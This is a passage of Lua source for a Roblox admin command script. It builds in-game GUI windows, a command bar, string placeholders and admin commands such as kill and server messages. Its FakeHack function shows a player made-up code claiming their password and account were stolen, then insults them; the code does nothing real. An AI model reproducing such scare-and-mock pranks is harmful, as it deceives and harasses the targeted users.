  4941. if Answer == nil then Answer = "Unknown" end
  4942. table.insert(Votes, Answer)
  4943. end)()
  4944. end
  4945. end
  4946. repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  4947. wait(2)
  4948. if Speaker and Speaker:FindFirstChild("PlayerGui") then
  4949. local Total = #Players
  4950. local Yes,No,Unknown = 0,0,0
  4951. for _,Vote in pairs(Votes) do
  4952. if Vote == "Yes" then Yes = Yes + 1
  4953. elseif Vote == "No" then No = No + 1
  4954. end
  4955. end
  4956. Unknown = #Players - #Votes
  4957.  
  4958. local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
  4959. local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  4960. local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  4961. ]]..Yes.."/"..Total..[[
  4962. ]]..math.ceil((Yes/Total)*100).."% "
  4963. local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  4964. ]]..No.."/"..Total..[[
  4965. ]]..math.ceil((No/Total)*100).."% "
  4966. local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  4967. ]]..Unknown.."/"..Total..[[
  4968. ]]..math.ceil((Unknown/Total)*100).."% "
  4969. end
  4970. end
  4971.  
  4972. --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
  4973.  
  4974. function GUI:LoadGui(Player, Text, InfoText)
  4975. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4976. local Dead = false
  4977.  
  4978. local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  4979. local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  4980. local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  4981. local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  4982. if InfoText then Info.Text = InfoText end
  4983.  
  4984. local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  4985. local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  4986.  
  4987. CloseGui.OnInvoke = function()
  4988. Close:Invoke()
  4989. Dead = true
  4990. end
  4991. AddInfo.OnInvoke = function(AddText)
  4992. Info.Text = AddText
  4993. end
  4994.  
  4995. coroutine.wrap(function()
  4996. for i = 0,math.huge,3 do
  4997. if Dead == false and Frame then
  4998. WaitIcon.Rotation = i
  4999. wait()
  5000. else
  5001. break
  5002. end
  5003. end
  5004. end)()
  5005.  
  5006. coroutine.wrap(function()
  5007. while Dead == false and Frame do
  5008. wait(0.5)
  5009. LoadLabel.Text = Text.."."
  5010. wait(0.5)
  5011. LoadLabel.Text = Text..".."
  5012. wait(0.5)
  5013. LoadLabel.Text = Text.."..."
  5014. wait(0.5)
  5015. LoadLabel.Text = Text..".."
  5016. wait(0.5)
  5017. LoadLabel.Text = Text.."."
  5018. wait(0.5)
  5019. LoadLabel.Text = Text
  5020. end
  5021. end)()
  5022.  
  5023. wait(1)
  5024.  
  5025. return CloseGui, AddInfo
  5026. end
  5027.  
  5028. function GUI:FakeHack(Player) coroutine.wrap(function()
  5029. if not Player or not Player:FindFirstChild("PlayerGui") then return end
  5030. local FakeText = [[
  5031. >SHELL: BEGIN
  5032. >RUNCODE:
  5033. return {
  5034. local Hack = {"Account", "Robux"};
  5035. Log("RIP TIX.")
  5036. function Start(Type, Inject, Scan)
  5037. if not Inject then Inject = "In-Game" end
  5038. return {Type, Inject, Scan}
  5039. end
  5040. for Exe,Exploit in pairs(Hack) do
  5041. local IP = Start("In-Game",Exploit,
  5042. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  5043. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  5044. )
  5045. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  5046. for i = 1,#Injection[2] do
  5047. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  5048. end
  5049. local PlayerProxy = newproxy(true)
  5050. setmetatable(PlayerProxy,Injection[3],{
  5051. __index = function(StealData, ...) local Data = unpack(...)
  5052. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  5053. end;
  5054. })
  5055. end
  5056. local Password = game.Players.PasswordID
  5057. Steal(Password)
  5058. Log("Password hacked!")
  5059. Log("HACKED HOST: PLAYERNAME")
  5060. }
  5061. >RIP TIX.
  5062. >Password hacked!
  5063. >HACKED HOST: PLAYERNAME
  5064.  
  5065. ]]
  5066. local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  5067. if SG then SG:Destroy() end
  5068. SG = Instance.new("ScreenGui", Player.PlayerGui)
  5069. SG.Name = "MML Hack Gui"
  5070. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  5071. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
  5072. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
  5073. for i = 1,#FakeText do
  5074. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  5075. if math.random(1,5) == 1 then
  5076. wait()
  5077. end
  5078. end
  5079. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  5080. wait(3)
  5081. HT.Text = HT.Text..[[>INFO: Are you really that stupid? You did not really get hacked idiot!. This is just a fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  5082. X.Visible = true
  5083. end)() end
  5084.  
  5085. function GUI:CommandBar(Player)
  5086. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5087.  
  5088. local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  5089. local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  5090. local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  5091. local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  5092.  
  5093. local _,Rank = RANK:GetRank(Player)
  5094. local UsableCommands = {}
  5095. for CommandNames,Data in pairs(Commands) do
  5096. if not Data.Hidden then
  5097. if RANK:ConvertRank(Data[4]) <= Rank then
  5098. for _,Command in pairs(CommandNames) do
  5099. table.insert(UsableCommands, {Command, Data[3]})
  5100. end
  5101. end
  5102. end
  5103. end
  5104.  
  5105. local RPR = CORE:CreateRemotePropertyReader(CommandBox)
  5106.  
  5107. local function ExecuteText()
  5108. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5109. CORE:Chatted(Text, Player, true)
  5110. CommandBox.Text = "Enter a command here"
  5111. end
  5112.  
  5113. local function AddSuggestion(Text)
  5114. if Text == nil then Text = Settings.Prefix end
  5115. local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  5116. Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  5117. CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
  5118. if Text == Settings.Prefix then
  5119. CommandBox.Text = Settings.Prefix
  5120. else
  5121. CommandBox.Text = Settings.Prefix..Text
  5122. end
  5123. CORE:ExecuteResource("Focus", CommandBox)
  5124. end, true)
  5125. end
  5126.  
  5127. CORE:HandleEvent(CommandBox, "MouseEnter", function()
  5128. if CommandBox.Text == "Enter a command here" then
  5129. CommandBox.Text = ""
  5130. end
  5131. end)
  5132.  
  5133. local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  5134. CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  5135.  
  5136. CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
  5137. EnterPressed.OnServerInvoke = ExecuteText
  5138.  
  5139. CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
  5140. Suggest.CanvasSize = UDim2.new(0,0,0,0)
  5141. Suggest:ClearAllChildren()
  5142. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5143. if Text == "" then
  5144. AddSuggestion(Settings.Prefix)
  5145. end
  5146.  
  5147. if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  5148. Text = string.sub(Text,#Settings.Prefix+1)
  5149. end
  5150. for _,Data in pairs(UsableCommands) do
  5151. local Command,Args = Data[1],Data[2]
  5152. if string.find(string.lower(Command),string.lower(Text)) then
  5153. local NewSuggestion = Command
  5154. if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  5155. AddSuggestion(NewSuggestion)
  5156. end
  5157. end
  5158.  
  5159. end end)
  5160. end
  5161.  
  5162. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  5163. if not Player or not AllSeconds then return nil end
  5164. AllSeconds = tonumber(AllSeconds)
  5165. local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  5166. AllSeconds = math.floor(AllSeconds)
  5167. if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  5168. local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  5169. local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  5170. local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  5171. local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  5172. local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  5173.  
  5174. local CurrentSeconds = AllSeconds
  5175. local Alive = true
  5176. coroutine.wrap(function() for i = 0,AllSeconds do
  5177. if not Alive then break end
  5178. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  5179. local Minutes = tostring(math.floor(CurrentSeconds/60))
  5180. if #Seconds == 1 then Seconds = "0"..Seconds end
  5181. if #Minutes == 1 then Minutes = "0"..Minutes end
  5182. Time.Text = Minutes..":"..Seconds
  5183. wait(1)
  5184. if CurrentSeconds <= 0 then
  5185. Alarm:Play()
  5186. Time.Text = "00:00"
  5187. Part.Size = UDim2.new(1,0,1,0)
  5188. Restore:Invoke()
  5189. wait(4)
  5190. Close:Invoke()
  5191. break
  5192. else
  5193. Tick:Play()
  5194. Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  5195. CurrentSeconds = CurrentSeconds - 1
  5196. end
  5197. end end)()
  5198.  
  5199. Closed.Event:connect(function()
  5200. if Alive == true then
  5201. Alive = false
  5202. Tick:Stop()
  5203. Alarm:Stop()
  5204. end
  5205. end)
  5206. end)() end
  5207.  
  5208. function GUI:DetachChat(Player)
  5209. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5210. if Player:FindFirstChild("DetachChatMML") then
  5211. Player.DetachChatMML:Invoke(true)
  5212. wait()
  5213. Player.DetachChatMML:Destroy()
  5214. end
  5215.  
  5216. local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
  5217. local SG = Frame.Parent.Parent.Parent
  5218.  
  5219. local DCBF = Instance.new("BindableFunction", Player)
  5220. DCBF.Name = "DetachChatMML"
  5221. DCBF.OnInvoke = function(Remove)
  5222. if Remove then
  5223. SG:Destroy()
  5224. end
  5225. end
  5226. CORE:ExecuteResource("CoreChat", SG)
  5227.  
  5228. local IsClosed = false
  5229. Closed.Event:connect(function()
  5230. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5231. IsClosed = true
  5232. end)
  5233.  
  5234. coroutine.wrap(function()
  5235. Player.CharacterRemoving:wait()
  5236. if not IsClosed then
  5237. IsClosed = true
  5238. wait(1)
  5239. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5240. end
  5241. end)()
  5242. end
  5243.  
  5244. function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
  5245. if not Player then return nil end
  5246. if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
  5247. Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
  5248.  
  5249. Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
  5250. end)() end
  5251.  
  5252. function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
  5253. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5254. if not SoundID then SoundID = SoundInfo["ID"] end
  5255. if not TitleText then TitleText = SoundInfo["Name"] end
  5256. if not CreatorText then CreatorText = SoundInfo["Creator"] end
  5257. if not InputSound then InputSound = Sound end
  5258.  
  5259. local NumSounds = 0
  5260. for _,SG in pairs(Player.PlayerGui:GetChildren()) do
  5261. if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
  5262. NumSounds = NumSounds + 1
  5263. end
  5264. end
  5265.  
  5266. local Size = UDim2.new(0.1, 100, 0.1, 100)
  5267. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
  5268. Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
  5269.  
  5270. local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
  5271. local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
  5272. local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
  5273. local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
  5274. local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
  5275. local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
  5276. local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
  5277.  
  5278. local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
  5279. local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
  5280. if Sound then
  5281. CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
  5282. end
  5283. if Time then
  5284. local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
  5285. local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
  5286.  
  5287. coroutine.wrap(function()
  5288. local Alive = true
  5289.  
  5290. local function StopTimer() Alive = false end
  5291. Closed.Event:connect(StopTimer)
  5292. Minimized.Event:connect(StopTimer)
  5293. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  5294.  
  5295. for i = Time,0,-1 do
  5296. for ii = 1,10 do
  5297. if Alive == true then
  5298. Timer.Text = i
  5299. wait(0.1)
  5300. else
  5301. break
  5302. end
  5303. end
  5304. end
  5305. if Alive == true then
  5306. Close:Invoke()
  5307. else
  5308. Timer:Destroy()
  5309. Stop:Destroy()
  5310. end
  5311. end)()
  5312. end
  5313. end
  5314.  
  5315. ---- STRING REPLACEMENT OPERATIONS ----
  5316.  
  5317. -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
  5318.  
  5319. -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
  5320.  
  5321. StringReplacements = {
  5322. {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
  5323. {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
  5324. {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
  5325. {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
  5326. {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
  5327. {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
  5328. {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
  5329. {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
  5330. {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
  5331. {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
  5332.  
  5333. {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
  5334. {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
  5335. {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
  5336. {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
  5337. {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
  5338. {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
  5339.  
  5340. {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
  5341. {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
  5342. {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
  5343. {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
  5344. {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
  5345. {"_NAME", "player's username", true, function(Player) return Player.Name end};
  5346. {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
  5347. {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5348. {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5349. {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
  5350. {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
  5351. {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
  5352. {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
  5353. {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
  5354. {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
  5355. {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
  5356. }
  5357.  
  5358. ---- COMMANDS ----
  5359.  
  5360. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  5361.  
  5362. Commands = { -- can't make local
  5363. [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  5364. print("[MML's Admin]: Test message from "..Speaker.Name)
  5365. GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  5366. end};
  5367.  
  5368. [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  5369. local Players = STRING:Scan(Arguments[1], Speaker)
  5370. for _,Player in pairs(Players) do
  5371. if Player.Character then
  5372. Player.Character:BreakJoints()
  5373. end
  5374. end
  5375. end};
  5376.  
  5377. [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  5378. local Players = STRING:Scan(Arguments[1], Speaker)
  5379. for _,Player in pairs(Players) do
  5380. if Player.Character then
  5381. Instance.new("ForceField", Player.Character)
  5382. end
  5383. end
  5384. end};
  5385.  
  5386. [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5387. local Players = STRING:Scan(Arguments[1], Speaker)
  5388. for _,Player in pairs(Players) do
  5389. if Player.Character then
  5390. for _,Get in pairs(Player.Character:GetChildren()) do
  5391. if Get:IsA("ForceField") then
  5392. Get:Destroy()
  5393. end
  5394. end
  5395. end
  5396. end
  5397. end};
  5398.  
  5399. [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5400. for _,Player in pairs(Server.Players:GetPlayers()) do
  5401. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
  5402. end
  5403. end};
  5404.  
  5405. [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5406. for _,Player in pairs(Server.Players:GetPlayers()) do
  5407. GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
  5408. end
  5409. end};
  5410.  
  5411. [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5412. local Players = STRING:Scan(Arguments[1], Speaker)
  5413. for _,Player in pairs(Players) do
  5414. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
  5415. end
  5416. end};
  5417.  
  5418. [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5419. for _,Player in pairs(Server.Players:GetPlayers()) do
  5420. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
  5421. end
  5422. end};
  5423.  
